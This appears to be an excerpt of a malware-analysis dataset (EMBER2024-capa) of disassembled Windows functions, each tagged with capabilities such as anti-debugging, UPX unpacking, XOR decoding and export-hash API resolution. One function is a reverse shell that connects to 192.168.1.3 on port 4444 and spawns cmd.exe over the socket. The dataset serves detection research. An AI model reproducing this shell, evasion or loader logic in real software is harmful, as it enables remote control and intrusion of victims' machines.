joyce8/EMBER2024-capa huggingface dataset:
Function at 0x60773e
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea edi, [eax + 0x4c]
push dword [esp + 0x24]
lea esp, [esp + 0x37]
pop dx
push dword [esp + 0x25]
jmp 0x607728

Function at 0x60791f
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov si, 0xe7a3
mov esi, esp
sub esp, 5
pop word [esp + 0xe]
jmp 0x60792f
xchg dword [esp + 1], edi
bswap ecx
mov bx, si
mov ch, 0xac
sets ch
jmp 0x607909
lea ecx, reloc.MSVCRT.dll_strncpy
mov bh, 0xe2
mov byte [esp + 0xd], ch
not edx
neg eax
neg ebp
jmp 0x607982
mov eax, esp
xchg si, di
add esp, 5
push word [esp + 4]
sets ah
pop si
jmp 0x60795a

Function at 0x60894f
Capabilities:
Execute anti-debugging instructions

Disassembly:
pushal
add esp, 0xa
stc
lea esp, [esp + 2]
lea esp, [esp + 0x14]
pushal
jmp 0x608892
bswap edi
mov cl, byte [esp]
lea ecx, [edx + esi]
neg bh
neg ax
mov edi, ecx
jmp 0x60892d
call 0x6088f1
push ebx
popal
outsb dx, byte gs:[esi]
imul ebp, dword [bp + 0x65], 0x69685320
insb byte es:[edi], dx
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
and byte [esi + 0x32], dh
xor al, 0x2e
xor byte [esi], ch
xor byte [eax], al
pushfd
cld
jmp 0x608864
cld
mov cx, 0xb5e9
dec dx
mov cl, 0x9f
xchg bx, di
call fcn.00608917
out 0x6e, al
cld
wait
jbe 0x6088e6
inc esi
mov dword [esp + 0x1b], ecx
call fcn.006088fd
xchg byte [esp + 8], cl
mov bh, 0xd7
adc bh, 0x37
rcr bh, cl
jmp 0x608984
xchg cl, ch
pop esi
mov ax, word [esp]
mov al, byte [esp + 0x12]
setge ch
neg bl
jmp 0x608a16
bswap edx
mov di, sp
mov si, bp
neg eax
mov edi, esp
rdtsc
jmp 0x60896e
xchg dword [esp], edx
lea edi, [ebx*4]
rdtsc
add esp, 4
mov dx, word [esp + 2]
neg edx
jmp 0x6089fe
xchg dword [esp], eax
rdtsc
push dword [esp + 1]
clc
mov al, byte [esp + 2]
mov al, bl
jmp 0x6089b0
push dword [esp + 2]
cld
xchg dword [esp + 3], ecx
sete bh
call fcn.006089e8
inc ebp
aad 0x45
sub al, 0xdf
aas
les esp, [ecx - 0x75]
out dx, eax
popal
mov ebp, edi
sub esp, 2
lea edx, reloc.MSVCRT.dll_strncpy
cld
mov esi, dword [esp + 2]
jmp 0x6089d6

Function at 0x608df8
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea ebx, [esi*4]
setge cl
lea edi, [ecx + 0xfc]
jmp 0x608e32
mov cx, word [esp + 7]
mov bl, 0xd2
mov word [esp + 0xa], ax
inc ecx
add esp, 0xd
xchg word [esp], bp
jmp 0x608e1c
Function at 0x608f6b
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov ebp, dword [esp + 4]
sub esp, 1
jmp 0x608b6c
lea edi, [eax + 0x43]
mov edi, 0x5edcb6c4
mov bp, ax
sub esp, 0xf
xchg bx, bp
call fcn.00608a56
mov bl, ah
mov esi, dword [esp + 1]
xchg bl, cl
xchg word [esp + 5], bp
shr dx, cl
xchg dword [esp + 0xa], edx
jmp 0x608bd5
mov bl, byte [esp + 3]
pop si
std
rol esi, 8
mov bp, di
clc
jmp 0x608bea
lea edi, [esp + esi]
cpuid
mov ah, dl
mov bx, word [esp + 4]
mov cl, byte [esp + 4]
lea edi, [eax + esi]
jmp 0x608bbf
lea edx, [esi*4]
xchg byte [esp + 5], cl
bsr ebp, ebx
mov ax, word [esp + 2]
sub esp, 0x18
pushal
jmp 0x608cdc
neg edx
xchg bl, dl
neg dx
mov cl, byte [esp + 2]
xchg al, dl
mov edi, dword [esp + 1]
jmp 0x608c74
lea eax, [edx*4]
mov bp, ax
xchg bh, ch
xchg byte [esp + 2], bl
inc dh
neg ebp
jmp 0x608c1f
xchg ebx, eax
clc
not dh
mov word [esp + 1], di
sub dl, 0x42
call fcn.00608c52
cpuid
pushal
pop edi
xchg dword [esp + 1], ebx
lea esi, [edx*4]
pop eax
jmp 0x608cc5
cmc
lea esp, [esp + 7]
dec ch
bts si, dx
xchg dword [esp + 3], ebp
jmp 0x608d2c
neg dh
mov esi, ebp
lea eax, [esi*4]
mov dl, 0x17
rcr esi, 5
push ebp
jmp 0x608c3c
rdtsc
pop bx
pop word [esp + 3]
bswap edi
pop ecx
sete ch
jmp 0x608c97
lea esp, [esp + 0x4b]
mov al, byte [esp]
bswap edi
neg dx
rcr si, cl
bsr ebp, edi
jmp 0x608caf
lea ebp, reloc.MSVCRT.dll_strncpy
mov bl, al
add esp, 8
push dword [esp + 3]
mov ah, 0xaf
call fcn.00608d06
mov ebx, dword [esp + 0x16]
cpuid
mov al, byte [esp + 0x18]
mov dh, byte [esp + 0x13]
clc
jmp 0x608ed4
pop bp
call 0x608dcb
mov bh, byte [esp + 3]
mov esi, dword [esp + 7]
shl ch, 0
mov ch, 0x6a
pop ebp
bswap edi
jmp 0x608f25
xchg di, cx
xchg dh, ah
pop word [esp]
neg bh
dec ax
lea esp, [esp]
jmp 0x608fcc
xchg bx, dx
neg cx
mov edx, 0x166cc6a0
cpuid
setbe ch
or si, 0xc93
jmp 0x608f0f
mov ah, 0x50
pop dx
btr edx, esp
cmp cx, 0xa354
call 0x608f6b
mov ebp, 0xf240c87
mov esp, 0x873eebc0
push cs
pushfd
sti
push ss
stc
adc esp, dword [ebx + reloc.MSVCRT.dll_strncpy]
xchg cx, ax
adc byte [edx - 0x187edbdc], cl
neg byte [ecx - 0x6b]
int 0x86
insb byte es:[edi], dx
and al, 2
mov ah, byte [esp]
and edi, 0xcd9559f6
xchg byte [esp + 2], ch
mov ecx, 0x52b35d03
pop word [esp]
cld
jmp 0x608f59
mov edx, 0xda33bd0b
mov esi, ecx
rdtsc
btc ecx, esi
add esp, 0
push word [esp + 1]
jmp 0x608f82
Function at 0x52ab40
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xcd000]
lea eax, [edi + 0xcf740]
push dword [eax]
mov dword [eax], 0x13800c02
push eax
push edi
jmp 0x52ab6a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x52ab71
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x52ab60
mov eax, 1
add ebx, ebx
jne 0x52ab83
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x52ab94
jne 0x52abb3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x52abb3
dec eax
add ebx, ebx
jne 0x52aba0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x52ab78
add ebx, ebx
jne 0x52abaf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x52ac05
xor ecx, ecx
sub eax, 3
jb 0x52abcb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x52ac3a
sar eax, 1
mov ebp, eax
jmp 0x52abd6
add ebx, ebx
jne 0x52abd6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x52aba4
inc ecx
add ebx, ebx
jne 0x52abe4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x52aba4
add ebx, ebx
jne 0x52abf1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x52abe6
jne 0x52ac02
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x52abe6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x52ac24
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x52ac16
jmp 0x52ab66
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x52ac24
add edi, ecx
jmp 0x52ab66
pop esi
pop edi
pop eax
mov dword [edi], eax
mov edi, esi
mov ecx, 0x40f0
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x52ac46
cmp byte [edi], 0x11
jne 0x52ac46
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x52ac4b
lea edi, [esi + 0x123000]
mov eax, dword [edi]
or eax, eax
je 0x52acc3
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x16f5d4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x16f778]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x52ac78
mov ecx, edi
jns 0x52aca7
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x16f780]
or eax, eax
je 0x52acbd
mov dword [ebx], eax
add ebx, 4
jmp 0x52ac95
call dword [esi + 0x16f77c]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x52acf4
cmp al, 0xef
ja 0x52ace7
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x52acc9
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x52acd6
mov ebp, dword [esi + 0x16f784]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x52ad28
sub esp, 0xffffff80
jmp 0x420577
Function at 0x8e129c
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x8e12a2
pop ebp
sub ebp, 6
sub ebp, 0x4e129c
jmp 0x8e1300
jmp 0x8e1309
add byte [edi], bl
lds ebx, [0x129cb856]
dec esi
add byte [ebx], al
lds eax, [ecx + 0x93c0]
add byte [ecx + 0x646], bh
mov eax, 0x4e129c
add eax, ebp
add eax, 0x93
mov ecx, 0x646
mov edx, 0x5d5dc425
xor byte [eax], dl
inc eax
dec ecx
jne 0x8e1320
jmp 0x8e1333
dec edi
dec ebp
and eax, 0x4d252535
and eax, 0xa42509e9
aad 0x88
add edx, esp
movsb byte es:[edi], byte [esi]
aad 0x88
add edx, esp
push ss
in eax, 0x75
fidiv dword [eax + 0x25617419]
jne 0x8e1304
call 0x25a7c009
and eax, 0xdde4a425
and eax, 0xe8262525
popfd
and esp, dword [0xd9f2525]
and eax, 0xc7d22525
in eax, dx
scasb al, byte es:[edi]
movsb byte es:[edi], byte [esi]
sub dword [0xe0262525], esp
jne 0x8e13ca
sbb eax, 0x5b4d252c
jmp dword [ecx + 0x25]
sub al, 0x25
dec ebp
pop ebx
jmp dword [ecx + 0x25]
Function at 0x4051c0
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x40a6a8]
push ebx
push ebp
mov ebp, dword [esp + 0xc]
cmp eax, 1
push esi
jne 0x4051df
push ebp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
test eax, eax
mov dword [0x40a6a4], 1
mov byte [0x40a6a0], bl
jne 0x405239
mov ecx, dword [0x40aa28]
test ecx, ecx
je 0x405227
mov esi, dword [0x40aa24]
sub esi, 4
cmp esi, ecx
jb 0x405227
mov eax, dword [esi]
test eax, eax
je 0x405220
call eax
mov ecx, dword [0x40aa28]
sub esi, 4
cmp esi, ecx
jae 0x405212
push 0x407014
push 0x407010
call fcn.00405270
add esp, 8
push 0x40701c
push 0x407018
call fcn.00405270
add esp, 8
test ebx, ebx
jne 0x405260
push ebp
mov dword [0x40a6a8], 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop esi
pop ebp
pop ebx
ret

Function at 0x4018cf
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb0
mov eax, ebp
add eax, 0xffffffb4
mov edi, eax
push edi
xor ecx, ecx
mov cl, 0x30
mov dword [edi], ecx
sub cl, 0x25
xor eax, eax
inc edi
inc edi
inc edi
inc edi
mov dword [edi], eax
dec ecx
jne 0x4018e8
mov eax, 0x400000
mov dword [0x404850], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x44], 0x401778
mov dword [ebp - 0x24], str.grita
call dword [sym.imp.USER32.dll_RegisterClassExW]
xor eax, eax
push eax
push dword [0x404850]
push eax
push eax
push 0x1a4
push 0x2a8
push 0xfffff9c0
push 0xfffff63c
push 0
push str.kovice
push str.grita
push eax
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [0x404858], eax
push eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call dword [sym.imp.USER32.dll_UpdateWindow]
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x401997
mov esi, dword [sym.imp.USER32.dll_TranslateMessage]
mov edi, dword [sym.imp.USER32.dll_DispatchMessageW]
lea eax, [ebp - 0x1c]
push eax
call esi
lea ecx, [ebp - 0x1c]
push ecx
call edi
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x401978
mov esp, ebp
pop ebp
ret 0x10
Function at 0x419d30
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x410015
lea edi, [esi - 0xf015]
push edi
or ebp, 0xffffffff
jmp 0x419d52
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x419d59
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x419d48
mov eax, 1
add ebx, ebx
jne 0x419d6b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x419d60
jne 0x419d7c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419d60
xor ecx, ecx
sub eax, 3
jb 0x419d90
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x419e02
mov ebp, eax
add ebx, ebx
jne 0x419d9b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x419da8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x419dcc
inc ecx
add ebx, ebx
jne 0x419db8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x419dad
jne 0x419dc9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419dad
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x419dec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x419ddd
jmp 0x419d4e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x419dec
add edi, ecx
jmp 0x419d4e
pop esi
mov edi, esi
mov ecx, 0x2b3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x419e0a
cmp byte [edi], 5
jne 0x419e0a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x419e0f
lea edi, [esi + 0x17000]
mov eax, dword [edi]
or eax, eax
je 0x419e87
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1908c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x419e3c
mov ecx, edi
jns 0x419e6b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19090]
or eax, eax
je 0x419e81
mov dword [ebx], eax
add ebx, 4
jmp 0x419e59
call dword [esi + 0x190a0]
mov ebp, dword [esi + 0x19094]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x419ebb
sub esp, 0xffffff80
jmp 0x404c20

Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40301c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x403028
push 0x403024
push 0x403020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x403028]
push dword [0x403024]
push dword [0x403020]
mov dword [0x403014], esp
call fcn.0040129c
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret
Function at 0x401840
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.004025a0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.004025a0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x4018a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x406068]
test esi, esi
jle 0x4019c0
mov eax, dword [0x40606c]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x4018d4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401957
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x4018c0
mov dword [esp], ebx
call fcn.00402230
mov edi, eax
test eax, eax
je 0x4019e7
mov eax, dword [0x40606c]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.00402340
mov edx, dword [0x40606c]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x4019c7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401950
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401960
add dword [0x406068], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x40606c]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401950
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00401840
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x4018de
mov eax, dword [0x40606c]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00401840
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00401840
lea esi, [esi]
nop
Function at 0x401ea0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x406084
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40607c]
sub esp, 4
test ebx, ebx
je 0x401ef5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x401eee
test esi, esi
je 0x401eee
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401ed0
mov dword [esp], 0x406084
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4025d0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x44
call fcn.00401670
mov dword [ebp - 0xc], str.192.168.1.3
mov word [ebp - 0xe], 0x115c
mov dword [esp + 4], 0x4030e0
mov dword [esp], 0x202
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
call eax
sub esp, 8
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_WSASocketA]
call eax
sub esp, 0x18
mov dword [0x4030c0], eax
mov word [0x40302c], 2
movzx eax, word [ebp - 0xe]
movzx eax, ax
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [0x40302e], ax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_inet_addr]
call eax
sub esp, 4
mov dword [0x403030], eax
mov eax, dword [0x4030c0]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0x40302c
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_WSAConnect]
call eax
sub esp, 0x1c
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
mov dword [esp], 0x403060
call sub.msvcrt.dll_memset
mov dword [0x403060], 0x44
mov dword [0x40308c], 0x100
mov eax, dword [0x4030c0]
mov dword [0x4030a0], eax
mov eax, dword [0x4030a0]
mov dword [0x40309c], eax
mov eax, dword [0x40309c]
mov dword [0x403098], eax
mov dword [esp + 0x24], 0x40303c
mov dword [esp + 0x20], 0x403060
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.cmd.exe
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
mov dword [esp], 0
call sub.msvcrt.dll_exit
nop
nop
nop
nop
nop
jmp fcn.004014f0
Function at 0x405ef4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a34], 0
push esi
jne 0x405f2b
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f05
mov dword [ecx*4 + 0x422a30], eax
inc ecx
cmp ecx, 0x100
jl 0x405f00
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405f5c
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a30]
xor eax, esi
inc ecx
dec edx
jne 0x405f3e
pop edi
not eax
pop esi
ret 0xc

Function at 0x4010f0
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ebp, esp
add esp, 0xfffffffc
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [0x40332c], eax
lea ecx, [ebp - 4]
push eax
push ecx
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
mov eax, dword [ebp + 4]
mov dword [0x40319b], eax
xor eax, eax
mov ecx, 0x16
push eax
dec ecx
jne 0x401121
push 0x7f00
push esi
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push esi
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [ebp - 0x5c]
push ecx
mov eax, 0x30
mov dword [ecx], eax
mov eax, dword [0x40319b]
mov dword [ebp - 0x48], eax
mov eax, 0x401bbc
mov dword [ebp - 0x54], eax
mov ecx, 0x4030bd
mov dword [ebp - 0x34], ecx
call dword [sym.imp.USER32.dll_RegisterClassExA]
push 0
push 0
push str.Riched32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
xor ecx, ecx
push ecx
push dword [0x40319b]
push ecx
push ecx
push 0x12e
push 0x7a
push 0x34c
push 0x2aa
push 0x40000
lea eax, str.bananas
push eax
mov eax, str.secondclass
push eax
push ecx
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [0x403378], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x403378]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
xor ebx, ebx
lea edi, [ebp - 0x50]
jmp 0x4011d9
push edi
call dword [sym.imp.USER32.dll_TranslateMessage]
push edi
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.USER32.dll_GetMessageA]
test al, al
jne 0x4011cb
mov esp, ebp
ret
Function at 0x40a540
Capabilities:
Resolve function by parsing pe exports

Disassembly:
nop
jmp 0x40a3f1
xor edi, edi
nop
jmp 0x40a402
mov esi, dword [edx + 0x28]
movzx ecx, word [edx + 0x26]
nop
jmp 0x40a415
xor eax, eax
jmp 0x40a421
lodsb al, byte [esi]
cmp al, 0x61
jl 0x40a435
jmp 0x40a433
sub al, 0x20
nop
ror edi, 0xd
nop
jmp 0x40a444
add edi, eax
nop
dec ecx
jne 0x40a415
nop
jmp 0x40a457
push edx
push edi
nop
mov edx, dword [edx + 0x10]
mov eax, dword [edx + 0x3c]
nop
jmp 0x40a46c
add eax, edx
nop
mov eax, dword [eax + 0x78]
test eax, eax
nop
je 0x40a65e
nop
add eax, edx
jmp 0x40a48e
push eax
nop
jmp 0x40a4a0
mov ebx, dword [eax + 0x20]
add ebx, edx
jmp 0x40a4b2
mov ecx, dword [eax + 0x18]
nop
jmp 0x40a4c7
jmp 0x40a4d1
test ecx, ecx
nop
jmp 0x40a4e3
je 0x40a64e
jmp 0x40a4f8
xor edi, edi
nop
jmp 0x40a50b
dec ecx
nop
jmp 0x40a51a
mov esi, dword [ebx + ecx*4]
nop
jmp 0x40a529
add esi, edx
nop
jmp 0x40a537
nop
xor eax, eax
nop
jmp 0x40a546
jmp 0x40a553
ror edi, 0xd
jmp 0x40a55a
xchg ebp, eax
stc
mov edx, 0x7c3e9733
lodsb al, byte [esi]
nop
jmp 0x40a56b
add edi, eax
nop
cmp al, ah
jmp 0x40a57e
jne 0x40a537
jmp 0x40a598
nop
add edi, dword [ebp - 8]
jmp 0x40a5af
cmp edi, dword [ebp + 0x24]
nop
jmp 0x40a5c7
jne 0x40a4c7
pop eax
jmp 0x40a5dc
add byte [eax], al
invalid
mov ebx, dword [eax + 0x24]
nop
add ebx, edx
mov cx, word [ebx + ecx*2]
nop
mov ebx, dword [eax + 0x1c]
nop
add ebx, edx
jmp 0x40a5fc
mov eax, dword [ebx + ecx*4]
nop
jmp 0x40a610
add eax, edx
jmp 0x40a61f
mov dword [esp + 0x24], eax
nop
jmp 0x40a633
pop ebx
pop ebx
popal
nop
pop ecx
nop
pop edx
push ecx
nop
jmp eax
jmp 0x40a65c
pop eax
nop
pop edi
pop edx
nop
jmp 0x40a671
mov edx, dword [edx]
nop
jmp 0x40a3e4